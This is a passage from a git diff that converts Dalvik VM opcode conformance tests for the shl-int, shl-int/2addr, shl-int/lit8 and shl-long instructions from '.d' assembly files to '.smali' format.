@@ -1,18 +0,0 @@
-.source T_shl_int_6.java
-.class public dot.junit.opcodes.shl_int.d.T_shl_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       shl-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.smali
new file mode 100644
index 0000000..d93ea00
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_6.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       shl-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.d
deleted file mode 100644
index 380c8c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2addr_1.java
-.class public dot.junit.opcodes.shl_int_2addr.d.T_shl_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shl-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.smali
new file mode 100644
index 0000000..02b664a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.d
deleted file mode 100644
index bb92f80..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2addr_2.java
-.class public dot.junit.opcodes.shl_int_2addr.d.T_shl_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shl-int/2addr v7, v8
-       return v7
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.smali
new file mode 100644
index 0000000..0782123
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int/2addr v7, v8
+       return v7
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.d
deleted file mode 100644
index 7785e26..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2addr_3.java
-.class public dot.junit.opcodes.shl_int_2addr.d.T_shl_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)I
-.limit regs 8
-
-       shl-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.smali
new file mode 100644
index 0000000..3ddb939
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       shl-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.d
deleted file mode 100644
index 3860a02..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2addr_4.java
-.class public dot.junit.opcodes.shl_int_2addr.d.T_shl_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       shl-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.smali
new file mode 100644
index 0000000..c011b9b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       shl-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.d
deleted file mode 100644
index affe561..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2addr_5.java
-.class public dot.junit.opcodes.shl_int_2addr.d.T_shl_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shl-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.smali
new file mode 100644
index 0000000..54c18b7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.d
deleted file mode 100644
index 2299e9c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2addr_6.java
-.class public dot.junit.opcodes.shl_int_2addr.d.T_shl_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       shl-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.smali
new file mode 100644
index 0000000..167c5a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       shl-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.d
deleted file mode 100644
index 8230b0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_1.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shl-int/lit8 v0, v7, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.smali
new file mode 100644
index 0000000..2ff9468
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.d
deleted file mode 100644
index ebcef08..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_10.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       shl-int/lit8 v0, v5, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.smali
new file mode 100644
index 0000000..eb4f43a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       shl-int/lit8 v0, v5, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.d
deleted file mode 100644
index ab5d308..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_2.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shl-int/lit8 v0, v7, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.smali
new file mode 100644
index 0000000..edc7d7c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.d
deleted file mode 100644
index b7c3c3b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_3.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shl-int/lit8 v0, v7, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.smali
new file mode 100644
index 0000000..601bbbb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.d
deleted file mode 100644
index 3416035..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_4.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shl-int/lit8 v0, v7, 33
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.smali
new file mode 100644
index 0000000..a0e3617
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 33
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.d
deleted file mode 100644
index bb0ebbd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_5.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shl-int/lit8 v0, v7, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.smali
new file mode 100644
index 0000000..7c78619
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.d
deleted file mode 100644
index 3e2b9d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_6.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 8
-
-       shl-int/lit8 v0, v7, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.smali
new file mode 100644
index 0000000..b622e45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.d
deleted file mode 100644
index c2a0301..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_7.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shl-int/lit8 v0, v8, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.smali
new file mode 100644
index 0000000..64a27c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v8, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.d
deleted file mode 100644
index 49062a2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_8.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       shl-int/lit8 v0, v6, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.smali
new file mode 100644
index 0000000..48d6000
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       shl-int/lit8 v0, v6, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.d
deleted file mode 100644
index 9d91c49..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_9.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       shl-int/lit8 v0, v6, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.smali
new file mode 100644
index 0000000..573bab1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       shl-int/lit8 v0, v6, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.d
deleted file mode 100644
index 0293191..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_1.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shl-long v0, v8, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.smali
new file mode 100644
index 0000000..ee483f77
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_1.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long v0, v8, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.d
deleted file mode 100644
index 1a5fe79..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_2.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shl-long v0, v8, v11
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.smali
new file mode 100644
index 0000000..0247229
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_2.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long v0, v8, v11
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.d
deleted file mode 100644
index 0f33164..0000000
